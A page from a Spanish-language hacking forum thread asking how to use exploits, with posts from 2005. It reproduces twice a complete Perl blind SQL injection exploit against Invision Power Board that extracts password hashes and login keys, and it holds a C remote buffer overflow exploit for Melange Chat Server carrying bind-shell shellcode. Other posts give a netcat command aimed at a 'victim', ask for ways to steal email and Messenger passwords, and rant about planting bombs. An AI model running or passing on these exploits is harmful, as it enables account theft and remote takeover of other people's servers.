elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:08  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits (Moderador: berz3k)
| | |-+  Como se Usan los Exploits?????
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: 1 2 3 4 [5] 6 Ir Abajo Respuesta Imprimir
Autor Tema: Como se Usan los Exploits?????  (Leído 77,039 veces)
akond

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #60 en: 27 Enero 2005, 06:57 »

Como bien decis los exploits suelen venir "capados" o con alguna linia modificada para que lamercillos como nosotros logremos testear dixa vulnerabilidad pero no aprobexarnos de esta.

Por tanto la mejor manera de explotar vulnerabilidades es entender-la y kurrarte tu propio exploit en el lenguaje de programacion que domines.

Yo por lo menos suelo hacer esto, mirar el codigo del exploit y la descripcion de la vulnerabilidad para posteriormete explotarla con un programa en perl made in la casa ;)

Saludos
En línea
jebg

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #61 en: 24 Febrero 2005, 12:24 »

Apache HTDigest Insecure Temporary File Vulnerability

esta vulnerabilidad me sirve para enrootarme? si es asi alguien tiene el exploit?
En línea
_Rammstein_

Desconectado Desconectado

Mensajes: 30



Ver Perfil WWW
Re: Como se Usan los Exploits?????
« Respuesta #62 en: 13 Abril 2005, 20:48 »

Como se lanza un Exploit en Win 98 Se cuales son los comoandos ejemlo para el explot de foros  phpBB Existe algun lugar donde se puedan bajar ya compliados ? en caso de compilarlos en win 98 me baje el lcc-win32 pero en verdad no se si al termianr de complialrlo en q formato deberia quedaqr en exe? tengo esas dudas..... ;D
En línea


http://www.rammstein.com.uy
" La luz del sol confunde su espíritu, un niño ciego que se arrastra porque huele a su madre, la huella es fresa sigo tu rastro, yo no te veo solo te huelo"
Simbelmynë


Desconectado Desconectado

Mensajes: 856



Ver Perfil WWW
Re: Como se Usan los Exploits?????
« Respuesta #63 en: 26 Abril 2005, 03:37 »

Bueno, mas alla que haya llegado bastante tarde al hilo, se me ocurrio transitar por este area ya que nunca es demasiado tarde para aprender algo nuevo...
Me encuentro con un problema a la hora de instalar el GCC para poder compilar, encontre un manual de instalacion (el link que esta en este hilo esta caido) y me encuentro indefectiblemente con el siguiente error de instalacion:



Si alguien tuvo (o tiene) este problema, o bien conoce alguna forma de sortearlo le agradeceria una respuesta..
Saludos
En línea

gasparin

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #64 en: 4 Junio 2005, 23:04 »

hola por f lo que  quiero es una pagina sobre como hackear corres porf enviamelo ami correo  ya quelonesecito urgente para recuprarr mi correos perdidos por f bye
En línea
DEVOL

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #65 en: 19 Junio 2005, 02:06 »

los que esten interasados  en mi ide me mandan un correo a virus_f15@hotmail.com  bueno mi idea es de que un gobierno estado o una persona finacie esto
de que eso me de un dinero yo lo ago progresar gano popularidad con eso despues me meto de presidente gano las elecciones ago la guerra a argentina brasil chile especialmente , gano los territorios le entre esas tierras ,de spues fomento las artilleria y ago la guerra , pero antes coloca bombas en todo el pais  inicio LA guerra EXPLOTAN LAS BOMBAS  ESTADOS UNIDOS ESTARAN CONFUNDIDOS  ESO ES TODO PARA MAS AMPLIASION virus_f15@hotmail.com
En línea
edipo

Desconectado Desconectado

Mensajes: 21


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #66 en: 20 Junio 2005, 23:51 »

alguien que me pueda ayudar pues tengo un exploit que lo que hace es  un desbordamiento en el buffer y que pas pues facil al intentar enviarselo a la victima de la siguiente manera:

c:\exploit.exe ipvictima ***.***.***.***

lo que hace es contaminarme a mi y desbordar mi buffer y en cuanto a la victima no se el hecho es que tambien lo intente con el netcat
 c:\ nc -e ip victima puerto < exploit.exe

y que paso pues el exploit me contamino otravez a mi y me desbordo el buffer y se que el exploit es muy bueno pero aun no se como utlizarlo alguien me podria ayudar
En línea
fandango
Another
Ex-Staff
*
Desconectado Desconectado

Mensajes: 1.953


Powered By Slackware!


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #67 en: 21 Junio 2005, 00:02 »

Como dijo no me acuerdo quien no ejecutes exploits al tum tum ;D
En línea

NewLog


Desconectado Desconectado

Mensajes: 326



Ver Perfil WWW
Re: Como se Usan los Exploits?????
« Respuesta #68 en: 1 Agosto 2005, 21:03 »

Una pregunta, es sobre lo que dijeron en alguna página xD sobre el problema que tenia alguien xD con una cabecera.

La solución que le dieron fue que se bajará un compilador en el que venian las cabeceras de linux. Mi pregunta es si se podria solo bajar esa cabecera (en google y tal) y meterla donde guarda las demás cabeceras el compilador...como por ejemplo el Dev-C++ ^^

Muchas gracias de antemano  :)

Cya
En línea
Pax-Man

Desconectado Desconectado

Mensajes: 11


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #69 en: 7 Agosto 2005, 06:01 »

ok bueno pueden ayudarme con esto.. como se usaria especificamente este exploit...

Código:
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
 {
 if(length($allchar) > 0){
 print qq{\b\b DONE ]
 
 MEMBER ID : $member_id
 };
 print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print $allchar."\r\n";
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();
 }
else
 {
  $allchar .= chr(42);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75" . "%62%73%74%72%69%6E%67%28";
 $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
 $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0" . "%E0%F1%21%20";
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

 printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 $path, $server, $cmember_id, $pass_hash1, $cmember_id, $pass_hash2, $pass_hash3, $nmalykh);
 
 while(<$socket>)
  {
  if (/Set-Cookie: session_id=0;/) { return 1; }
  }

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]"; }
  if($status==1){ print "\b\b-]"; }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]"; }
}

sub usage()
 {
 print q(
 Invision Power Board v < 2.0.4 SQL injection exploit
 ----------------------------------------------------
 USAGE:
 ~~~
 r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [server] - host where IPB installed
 [/folder/] - folder where IPB installed
 [member_id] - user id for brute
 
 targets:
          0 - IPB 1.*
          1 - IPB 2.* (Prior To 2.0.4)
 
 e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
 ----------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }

Es para foros IPB 2.0.4

Cual seria el algoritmo de pasos correctos para usarlo
En línea
roteshaar

Desconectado Desconectado

Mensajes: 26


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #70 en: 7 Agosto 2005, 16:12 »

Saludos, eston necesitando un Xploit para Apache/1.3.27 con Solaris 8
para ejecutarlo en Mi WinXP,  :( no tengo Linux aun.
En línea
Kasswed
Moderador Global
***
Desconectado Desconectado

Mensajes: 5.164


Andalucía


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #71 en: 7 Agosto 2005, 16:41 »

Citar
Saludos, eston necesitando un Xploit para Apache/1.3.27

No existen Xplits para Apache, de hecho , los Xploits solo existen para MSN.

Saludos!
En línea

"He who allows himself to be insulted, deserves to be."

Repórtame cualquier falta a las normas del foro por mensaje privado.
cutegirl10

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #72 en: 18 Agosto 2005, 05:02 »

Porfa diganme como usar un exploit para saber la contraseña del messenger d hotmail gracias
En línea
yeikos


Desconectado Desconectado

Mensajes: 1.424



Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #73 en: 19 Agosto 2005, 00:57 »

ok bueno pueden ayudarme con esto.. como se usaria especificamente este exploit...

Código:
#!/usr/bin/perl

## Invision Power Board SQL injection exploit by RST/GHC
## vulnerable forum versions : 1.* , 2.* (<2.0.4)
## tested on version 1.3 Final and version 2.0.2
## * work on all mysql versions
## * work with magic_quotes On (use %2527 for bypass magic_quotes_gpc = On)
## (c)oded by 1dt.w0lf
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## screen:
## ~~~~
## r57ipb2.pl blah.com /ipb13/ 1 0
## [~] SERVER : blah.com
## [~] PATH : /ipb13/
## [~] MEMBER ID : 1
## [~] TARGET : 0 - IPB 1.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## PASSWORD : 5f4dcc3b5aa765d61d8327deb882cf99
##
## r57ipb2.pl blah.com /ipb202/ 1 1
## [~] SERVER : blah.com
## [~] PATH : /ipb202/
## [~] MEMBER ID : 1
## [~] TARGET : 1 - IPB 2.*
## [~] SEARCHING PASSWORD ... [ DONE ]
##
## MEMBER ID : 1
## MEMBER_LOGIN_KEY : f14c54ff6915dfe3827c08f47617219d
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Greets: James Bercegay of the GulfTech Security Research Team
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## Credits: RST/GHC , http://rst.void.ru , http://ghc.ru
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

use IO::Socket;

if (@ARGV < 4) { &usage; }

$server = $ARGV[0];
$path = $ARGV[1];
$member_id = $ARGV[2];
$target = $ARGV[3];

$pass = ($target)?('member_login_key'):('password');

$server =~ s!(http:\/\/)!!;

$request = 'http://';
$request .= $server;
$request .= $path;

$s_num = 1;
$|++;
$n = 0;

print "[~] SERVER : $server\r\n";
print "[~] PATH : $path\r\n";
print "[~] MEMBER ID : $member_id\r\n";
print "[~] TARGET : $target";
print (($target)?(' - IPB 2.*'):(' - IPB 1.*'));
print "\r\n";
print "[~] SEARCHING PASSWORD ... [|]";

($cmember_id = $member_id) =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

while(1)
{
if(&found(47,58)==0) { &found(96,122); }
$char = $i;
if ($char=="0")
 {
 if(length($allchar) > 0){
 print qq{\b\b DONE ]
 
 MEMBER ID : $member_id
 };
 print (($target)?('MEMBER_LOGIN_KEY : '):('PASSWORD : '));
 print $allchar."\r\n";
 }
 else
 {
 print "\b\b FAILED ]";
 }
 exit();
 }
else
 {
  $allchar .= chr(42);
 }
$s_num++;
}

sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }
 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = " BETWEEN $r AND $fmax";
 if ( &check($check) ) { &found($r,$fmax); }
 else { &found($fmin,$r); }
 }
 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  if ( &check($crcheck) ) { return $i; }
  $i++;
  }
 $i = 0;
 return $i;
 }
 
sub check($)
 {
 $n++;
 status();
 $ccheck = $_[0];
 $pass_hash1 = "%36%36%36%2527%20%4F%52%20%28%69%64%3D";
 $pass_hash2 = "%20%41%4E%44%20%61%73%63%69%69%28%73%75" . "%62%73%74%72%69%6E%67%28";
 $pass_hash3 = $pass.",".$s_num.",1))".$ccheck.") /*";
 $pass_hash3 =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 $nmalykh = "%20%EC%E0%EB%FB%F5%20%2D%20%EF%E8%E4%E0%F0" . "%E0%F1%21%20";
 $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80");

 printf $socket ("GET %sindex.php?act=Login&CODE=autologin HTTP/1.0\nHost: %s\nAccept: */*\nCookie: member_id=%s; pass_hash=%s%s%s%s%s\nConnection: close\n\n",
 $path, $server, $cmember_id, $pass_hash1, $cmember_id, $pass_hash2, $pass_hash3, $nmalykh);
 
 while(<$socket>)
  {
  if (/Set-Cookie: session_id=0;/) { return 1; }
  }

 return 0;
 }
 
sub status()
{
  $status = $n % 5;
  if($status==0){ print "\b\b/]"; }
  if($status==1){ print "\b\b-]"; }
  if($status==2){ print "\b\b\\]"; }
  if($status==3){ print "\b\b|]"; }
}

sub usage()
 {
 print q(
 Invision Power Board v < 2.0.4 SQL injection exploit
 ----------------------------------------------------
 USAGE:
 ~~~
 r57ipb2.pl [server] [/folder/] [member_id] [target]
 
 [server] - host where IPB installed
 [/folder/] - folder where IPB installed
 [member_id] - user id for brute
 
 targets:
          0 - IPB 1.*
          1 - IPB 2.* (Prior To 2.0.4)
 
 e.g. r57ipb2.pl 127.0.0.1 /IPB/ 1 1
 ----------------------------------------------------
 (c)oded by 1dt.w0lf
 RST/GHC , http://rst.void.ru , http://ghc.ru
 );
 exit();
 }

Es para foros IPB 2.0.4

Cual seria el algoritmo de pasos correctos para usarlo


Lo he probado en varios servidores y di con uno que funcionaba, el programa esque te sustitulle la contraseña por asteriscos.

  $allchar .= chr(42);

Ahí está, lo he quitado y he hecho otras comprovaciones pero entonces no me saca la password, tampoco he tenido mucho tiempo para experimentar, miren vosotros, gracias.
En línea
jeunet

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Re: Como se Usan los Exploits?????
« Respuesta #74 en: 25 Agosto 2005, 20:16 »

Yo me e descargado un exploit en .c y no se q acer con el, abro el c++ le doy a compilar y me da errores, alguien me puede ayudar el exploit es este:
/*
   Proof of Concept for Melange Chat Server 1.10
   a lame remote bof exploit by innerphobia <up2u_@hotmail.com> 12/24/02

   Credits go to:
   - iDefense Labs for the advisory
   - blink for discovering the bug
   - Irian for the shellcode

   With careful calculation it is *possible* to control even the EIP,
   not just one byte of EIP.
   There are to a few things that will happen if we use a wrong ret address:
   1. Seg fault / shut down.
   2. Keep on going < nothing happens >.

   Code tested on Suse 8.0 and RH 7.3
   Merry Xmas :)
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>

// magic numbers begin here
#define ADDR 0xbfffd490
#define NICKLEN 49
#define BUFFLEN 463
// magic numbers end

// brutally copied from Irian's cy.c
char evil[]=
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\x52\x50\xcd\x80\x43"
"\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1\xb3\x04"
"\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(int argc,char **argv){
    int i,j=0,sock,port = 6666;
    char *host;
    char nick[NICKLEN],buff[BUFFLEN];
    struct hostent *htent;
    struct sockaddr_in serv_addr;
    long jump = ADDR;
    u_long *ptr = (u_long *)buff;

    if(argc>4||argc<2)
        printf("Usage : %s [hostname] [ret address in hex (0x41414141)]
[port]\n",argv[0]),exit(1);

    host=argv[1];
    if(argc>2) sscanf(argv[2],"0x%lx",&jump);
    if(argc>3) port=atoi(argv[3]);

    if((htent = gethostbyname(argv[1])) != NULL && (sock =
socket(AF_INET,SOCK_STREAM,0)) != -1){

        serv_addr.sin_family = AF_INET;
        memcpy((char
*)&serv_addr.sin_addr.s_addr,htent->h_addr_list[0],htent->h_length);
        serv_addr.sin_port = htons(port);

        if(!connect(sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))){

            printf("Connected to %s at %d [0x%lx]\nTrying to send %d chars
NICKNAME\n",host,port,jump,sizeof(nick)-6);

            memset(nick,'A',sizeof(nick)),memcpy(nick,"/NICK ",6);

            if(send(sock,nick,sizeof(nick),0) == -1)
                perror("Sending nickname failed\n"),exit(1);
            sleep(1);

            for(i=0;i<sizeof(buff);i+=4) *(ptr++)=jump;
            for(i=0;i<sizeof(buff)-200-strlen(evil);i++) buff=0x90;
            for(j=0;j<strlen(evil);j++) buff[i++]=evil[j];

            printf("Trying to send overflow string\n");

            if(send(sock,buff,sizeof(buff),0) == -1)
                perror("Sending overflow failed :(\n"),exit(1);

            sleep(1);
            printf("Now try to connect to host : %s port : 26112\n",host);
            close(sock);
        }
        else printf("Can't connect to %s at %d\n",host,port),exit(1);
    }
}

En línea
Páginas: 1 2 3 4 [5] 6 Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
¿Que programa usan?
Diseño Gráfico
EuroHack 7 1,413 Último mensaje 7 Enero 2012, 00:47
por Darioxhcx
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines